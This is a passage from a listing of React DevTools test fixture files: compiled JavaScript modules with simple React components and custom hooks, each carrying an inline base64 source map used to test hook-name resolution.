    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dXX19XX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV08sTUFBTUEsWUFBWSxnQkFBRywwQkFBYyxRQUFkLENBQXJCOzs7QUFFUSxTQUFTQyxRQUFULEdBQW9CO0FBQ2pDLFFBQU1DLEtBQUssR0FBRyx1QkFBV0YsWUFBWCxDQUFkO0FBQ0EsNEJBQWNFLEtBQWQ7QUFDQSxTQUFPQSxLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsInRoZW1lIl0sIm1hcHBpbmdzIjoiQ0FBRDtlZ0JDQSxBd0JEQSJ9XV1dfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nObject.defineProperty(exports, \"ComponentUsingHooksIndirectly\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentUsingHooksIndirectly.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithCustomHook\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithCustomHook.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithExternalCustomHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithExternalCustomHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithMultipleHooksPerLine\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithMultipleHooksPerLine.Component;\n  }\n});\nObject.defineProperty(exports, \"ComponentWithNestedHooks\", {\n  enumerable: true,\n  get: function () {\n    return _ComponentWithNestedHooks.Component;\n  }\n});\nObject.defineProperty(exports, \"ContainingStringSourceMappingURL\", {\n  enumerable: true,\n  get: function () {\n    return _ContainingStringSourceMappingURL.Component;\n  }\n});\nObject.defineProperty(exports, \"Example\", {\n  enumerable: true,\n  get: function () {\n    return _Example.Component;\n  }\n});\nObject.defineProperty(exports, \"InlineRequire\", {\n  enumerable: true,\n  get: function () {\n    return _InlineRequire.Component;\n  }\n});\nObject.defineProperty(exports, \"useTheme\", {\n  enumerable: true,\n  get: function () {\n    return _useTheme.default;\n  }\n});\nexports.ToDoList = void 0;\n\nvar _ComponentUsingHooksIndirectly = require(\"./ComponentUsingHooksIndirectly\");\n\nvar _ComponentWithCustomHook = require(\"./ComponentWithCustomHook\");\n\nvar _ComponentWithExternalCustomHooks = require(\"./ComponentWithExternalCustomHooks\");\n\nvar _ComponentWithMultipleHooksPerLine = require(\"./ComponentWithMultipleHooksPerLine\");\n\nvar _ComponentWithNestedHooks = require(\"./ComponentWithNestedHooks\");\n\nvar _ContainingStringSourceMappingURL = require(\"./ContainingStringSourceMappingURL\");\n\nvar _Example = require(\"./Example\");\n\nvar _InlineRequire = require(\"./InlineRequire\");\n\nvar ToDoList = _interopRequireWildcard(require(\"./ToDoList\"));\n\nexports.ToDoList = ToDoList;\n\nvar _useTheme = _interopRequireDefault(require(\"./useTheme\"));\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImluZGV4LmpzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7QUFTQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7QUFDQTs7OztBQUVBIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5fSBmcm9tICcuL0NvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5JztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhDdXN0b21Ib29rfSBmcm9tICcuL0NvbXBvbmVudFdpdGhDdXN0b21Ib29rJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhFeHRlcm5hbEN1c3RvbUhvb2tzJztcbmV4cG9ydCB7Q29tcG9uZW50IGFzIENvbXBvbmVudFdpdGhNdWx0aXBsZUhvb2tzUGVyTGluZX0gZnJvbSAnLi9Db21wb25lbnRXaXRoTXVsdGlwbGVIb29rc1BlckxpbmUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgQ29tcG9uZW50V2l0aE5lc3RlZEhvb2tzfSBmcm9tICcuL0NvbXBvbmVudFdpdGhOZXN0ZWRIb29rcyc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBDb250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTH0gZnJvbSAnLi9Db250YWluaW5nU3RyaW5nU291cmNlTWFwcGluZ1VSTCc7XG5leHBvcnQge0NvbXBvbmVudCBhcyBFeGFtcGxlfSBmcm9tICcuL0V4YW1wbGUnO1xuZXhwb3J0IHtDb21wb25lbnQgYXMgSW5saW5lUmVxdWlyZX0gZnJvbSAnLi9JbmxpbmVSZXF1aXJlJztcbmltcG9ydCAqIGFzIFRvRG9MaXN0IGZyb20gJy4vVG9Eb0xpc3QnO1xuZXhwb3J0IHtUb0RvTGlzdH07XG5leHBvcnQge2RlZmF1bHQgYXMgdXNlVGhlbWV9IGZyb20gJy4vdXNlVGhlbWUnO1xuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/useTheme.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = useTheme;\nexports.ThemeContext = void 0;\n\nvar _react = require(\"react\");\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nconst ThemeContext = /*#__PURE__*/(0, _react.createContext)('bright');\nexports.ThemeContext = ThemeContext;\n\nfunction useTheme() {\n  const theme = (0, _react.useContext)(ThemeContext);\n  (0, _react.useDebugValue)(theme);\n  return theme;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInVzZVRoZW1lLmpzIl0sIm5hbWVzIjpbIlRoZW1lQ29udGV4dCIsInVzZVRoZW1lIiwidGhlbWUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7O0FBU0E7O0FBVEE7Ozs7Ozs7O0FBV08sTUFBTUEsWUFBWSxnQkFBRywwQkFBYyxRQUFkLENBQXJCOzs7QUFFUSxTQUFTQyxRQUFULEdBQW9CO0FBQ2pDLFFBQU1DLEtBQUssR0FBRyx1QkFBV0YsWUFBWCxDQUFkO0FBQ0EsNEJBQWNFLEtBQWQ7QUFDQSxTQUFPQSxLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IHtjcmVhdGVDb250ZXh0LCB1c2VDb250ZXh0LCB1c2VEZWJ1Z1ZhbHVlfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBjb25zdCBUaGVtZUNvbnRleHQgPSBjcmVhdGVDb250ZXh0KCdicmlnaHQnKTtcblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gdXNlVGhlbWUoKSB7XG4gIGNvbnN0IHRoZW1lID0gdXNlQ29udGV4dChUaGVtZUNvbnRleHQpO1xuICB1c2VEZWJ1Z1ZhbHVlKHRoZW1lKTtcbiAgcmV0dXJuIHRoZW1lO1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsInRoZW1lIl0sIm1hcHBpbmdzIjoiQ0FBRDtlZ0JDQSxBd0JEQSJ9XV1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzZWN0aW9ucyI6W3sib2Zmc2V0Ijp7ImxpbmUiOjAsImNvbHVtbiI6MH0sIm1hcCI6eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkNvbXBvbmVudFVzaW5nSG9va3NJbmRpcmVjdGx5LmpzIl0sIm5hbWVzIjpbIkNvbXBvbmVudCIsImNvdW50U3RhdGUiLCJjb3VudCIsInNldENvdW50IiwiZGFya01vZGUiLCJ1c2VJc0RhcmtNb2RlIiwiaXNEYXJrTW9kZSIsImhhbmRsZUNsaWNrIiwiZGFya01vZGVTdGF0ZSIsInVzZUVmZmVjdENyZWF0ZSJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTUMsVUFBVSxHQUFHLHFCQUFTLENBQVQsQ0FBbkI7QUFDQSxRQUFNQyxLQUFLLEdBQUdELFVBQVUsQ0FBQyxDQUFELENBQXhCO0FBQ0EsUUFBTUUsUUFBUSxHQUFHRixVQUFVLENBQUMsQ0FBRCxDQUEzQjtBQUVBLFFBQU1HLFFBQVEsR0FBR0MsYUFBYSxFQUE5QjtBQUNBLFFBQU0sQ0FBQ0MsVUFBRCxJQUFlRixRQUFyQjtBQUVBLHdCQUFVLE1BQU0sQ0FDZDtBQUNELEdBRkQsRUFFRyxFQUZIOztBQUlBLFFBQU1HLFdBQVcsR0FBRyxNQUFNSixRQUFRLENBQUNELEtBQUssR0FBRyxDQUFULENBQWxDOztBQUVBLHNCQUNFLHlFQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLG9CQUFpQkksVUFBakIsQ0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGdCQUFhSixLQUFiLENBRkYsZUFHRTtBQUFRLElBQUEsT0FBTyxFQUFFSyxXQUFqQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxvQkFIRixDQURGO0FBT0Q7O0FBRUQsU0FBU0YsYUFBVCxHQUF5QjtBQUN2QixRQUFNRyxhQUFhLEdBQUcscUJBQVMsS0FBVCxDQUF0QjtBQUNBLFFBQU0sQ0FBQ0YsVUFBRCxJQUFlRSxhQUFyQjtBQUVBLHdCQUFVLFNBQVNDLGVBQVQsR0FBMkIsQ0FDbkM7QUFDRCxHQUZELEVBRUcsRUFGSDtBQUlBLFNBQU8sQ0FBQ0gsVUFBRCxFQUFhLE1BQU0sQ0FBRSxDQUFyQixDQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlRWZmZWN0LCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gQ29tcG9uZW50KCkge1xuICBjb25zdCBjb3VudFN0YXRlID0gdXNlU3RhdGUoMCk7XG4gIGNvbnN0IGNvdW50ID0gY291bnRTdGF0ZVswXTtcbiAgY29uc3Qgc2V0Q291bnQgPSBjb3VudFN0YXRlWzFdO1xuXG4gIGNvbnN0IGRhcmtNb2RlID0gdXNlSXNEYXJrTW9kZSgpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZTtcblxuICB1c2VFZmZlY3QoKCkgPT4ge1xuICAgIC8vIC4uLlxuICB9LCBbXSk7XG5cbiAgY29uc3QgaGFuZGxlQ2xpY2sgPSAoKSA9PiBzZXRDb3VudChjb3VudCArIDEpO1xuXG4gIHJldHVybiAoXG4gICAgPD5cbiAgICAgIDxkaXY+RGFyayBtb2RlPyB7aXNEYXJrTW9kZX08L2Rpdj5cbiAgICAgIDxkaXY+Q291bnQ6IHtjb3VudH08L2Rpdj5cbiAgICAgIDxidXR0b24gb25DbGljaz17aGFuZGxlQ2xpY2t9PlVwZGF0ZSBjb3VudDwvYnV0dG9uPlxuICAgIDwvPlxuICApO1xufVxuXG5mdW5jdGlvbiB1c2VJc0RhcmtNb2RlKCkge1xuICBjb25zdCBkYXJrTW9kZVN0YXRlID0gdXNlU3RhdGUoZmFsc2UpO1xuICBjb25zdCBbaXNEYXJrTW9kZV0gPSBkYXJrTW9kZVN0YXRlO1xuXG4gIHVzZUVmZmVjdChmdW5jdGlvbiB1c2VFZmZlY3RDcmVhdGUoKSB7XG4gICAgLy8gSGVyZSBpcyB3aGVyZSB3ZSBtYXkgbGlzdGVuIHRvIGEgXCJ0aGVtZVwiIGV2ZW50Li4uXG4gIH0sIFtdKTtcblxuICByZXR1cm4gW2lzRGFya01vZGUsICgpID0+IHt9XTtcbn1cbiJdfX1dfQ=="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/index-map/ComponentWithCustomHook.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  const isDarkMode = useIsDarkMode();\n  const {\n    foo\n  } = useFoo();\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 27,\n      columnNumber: 7\n    }\n  }, \"Foo: \", foo), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const [isDarkMode] = (0, _react.useState)(false);\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return isDarkMode;\n}\n\nfunction useFoo() {\n  (0, _react.useDebugValue)('foo');\n  return {\n    foo: true\n  };\n}\n//# 